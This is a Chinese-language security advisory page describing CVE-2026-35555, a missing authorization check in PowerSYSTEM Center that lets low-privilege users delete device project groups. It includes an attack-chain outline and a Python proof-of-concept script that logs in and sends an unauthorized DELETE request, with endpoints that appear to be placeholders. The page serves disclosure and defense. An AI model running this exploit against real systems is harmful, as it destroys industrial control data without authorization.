IPBUF安全漏洞报告
English
CVE-2026-35555 CVSS 6.3 中危

CVE-2026-35555 PowerSYSTEM Center越权删除漏洞

披露日期: 2026-05-12

漏洞信息

漏洞编号
CVE-2026-35555
漏洞类型
权限提升
CVSS评分
6.3 中危
攻击向量
邻接 (AV:A)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
PowerSYSTEM Center

相关标签

权限提升访问控制PowerSYSTEM CenterICS越权删除

漏洞概述

CVE-2026-35555 是 PowerSYSTEM Center 设备项目组功能中的一个中危级别安全漏洞。该漏洞源于系统在处理删除操作时未能正确实施严格的权限验证。具体而言,一个经过身份认证但仅拥有有限权限的攻击者,可以利用该漏洞绕过系统的访问控制策略,执行未经授权的项目组删除操作。由于该漏洞无需用户交互即可被利用,且攻击者只需具备低权限账户,攻击门槛相对较低。成功利用此漏洞可能导致关键项目组数据被恶意删除,严重破坏系统的完整性并对业务可用性造成负面影响。

技术细节

该漏洞的核心技术原理在于 PowerSYSTEM Center 后端接口在处理设备项目组删除请求时存在访问控制缺陷。系统可能仅验证了请求者的会话状态(即是否登录),而未对请求者的具体角色权限进行细粒度的校验。攻击者首先需要接入与目标系统处于同一邻接网络的环境,并获取一个低权限的合法账户凭证。在无需任何用户交互的情况下,攻击者可以通过向服务器发送特制的 HTTP DELETE 请求(或包含删除参数的 POST 请求)来触发漏洞。请求中包含目标项目组的 ID,由于服务器端缺乏对“删除”操作权限的二次确认,导致后端直接执行删除逻辑。这违反了最小权限原则,使得低权限用户能够执行高权限的管理员操作,导致完整性影响为高(I:H),可用性影响为低(A:L)。

攻击链分析

STEP 1
信息收集
攻击者识别目标网络中的 PowerSYSTEM Center 系统,并获取低权限用户的账户凭据。
STEP 2
身份认证
攻击者使用获取到的低权限账户登录系统,建立有效的会话。
STEP 3
漏洞利用
攻击者向设备项目组的管理接口发送特制的删除请求(如 HTTP DELETE),利用权限校验缺失的漏洞。
STEP 4
造成影响
系统后端执行删除操作,导致项目组数据丢失,破坏系统完整性并影响业务连续性。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_host = "https://<target_ip>" project_group_id = "12345" # ID of the target project group login_url = f"{target_host}/api/login" delete_url = f"{target_host}/api/project-groups/{project_group_id}" # Low privilege user credentials credentials = { "username": "low_priv_user", "password": "user_password" } session = requests.Session() try: # Step 1: Authenticate as low privilege user print("[*] Attempting to login...") auth_resp = session.post(login_url, data=credentials) if auth_resp.status_code == 200: print("[+] Login successful.") # Step 2: Send unauthorized deletion request # The vulnerability allows this user to delete the group without admin rights print(f"[*] Sending deletion request for project group {project_group_id}...") delete_resp = session.delete(delete_url) if delete_resp.status_code == 200 or delete_resp.status_code == 204: print(f"[+] Exploit successful! Project group {project_group_id} has been deleted.") else: print(f"[-] Deletion failed. Status Code: {delete_resp.status_code}") print(delete_resp.text) else: print("[-] Login failed. Check credentials.") except Exception as e: print(f"[!] An error occurred: {e}")

影响范围

PowerSYSTEM Center (具体受影响版本请参考厂商公告)

防御指南

临时缓解措施
在厂商发布补丁之前,建议管理员严格限制低权限用户对邻接网络的访问权限,并在系统前端或应用防火墙(WAF)中部署规则,拦截针对项目组删除接口的异常请求。同时,应加强对关键项目组配置数据的备份工作,以防止因数据被意外删除而导致业务中断。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表